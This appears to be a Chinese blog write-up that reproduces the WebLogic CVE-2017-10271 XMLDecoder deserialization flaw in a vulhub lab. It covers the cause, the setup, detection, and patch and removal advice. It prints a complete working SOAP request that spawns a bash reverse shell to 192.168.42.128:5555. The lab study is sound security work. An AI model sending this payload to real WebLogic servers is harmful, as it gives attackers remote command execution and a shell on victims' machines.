千万不要忘记:我们飞翔得越高,我们在那些不能飞翔的人眼中的形象越是渺小。 --尼采
产生原因
CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。
环境搭建
我们这里使用的环境是vulhub,我是在kali上部署的vulhub.
进入CVE-2017-10271目录
cd vluhub/weblogic/CVE-2017-10271
启动靶机环境
docker-compose up -d

查看启动环境

浏览器访问127.0.0.1:7001

说明环境部署完成
漏洞利用
受影响WebLogic版本:10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0。
1、判断:访问 http://127.0.0.1:7001/wls-wsat/CoordinatorPortType11

可能存在漏洞
2、构造POST包进行反弹shell测试

POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Host: 192.168.42.128:7001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*;
Accept-Language: en
Accept-Encoding: gzip, deflate
Connection: close
Contenet-length:664
Content-Length: 1017
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.42.128/5555 0>&1</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
可以看到链接成功
漏洞验证成功!
修复建议
1、前往Oracle官网下载10月份所提供的安全补丁:http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
2、删除wls-wsat组件,再次访问返回404.
1.删除Oracle\Middleware\wlserver_10.3\server\lib\wls-wsat.war
2.删除user_projects\domains\base_domain\servers\AdminServer\tmp.internal\wls-wsat.war
3.删除C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\wls-wsat
4.重启Weblogic
本文详细介绍了Weblogic的CVE-2017-10271漏洞,该漏洞由于WLS Security组件在解析XML数据时的反序列化问题,可能导致远程执行命令。文章涵盖了漏洞产生原因、环境搭建步骤、漏洞利用方法以及修复建议,包括如何判断漏洞存在和如何应用官方提供的安全补丁。

1565

被折叠的 条评论
为什么被折叠?



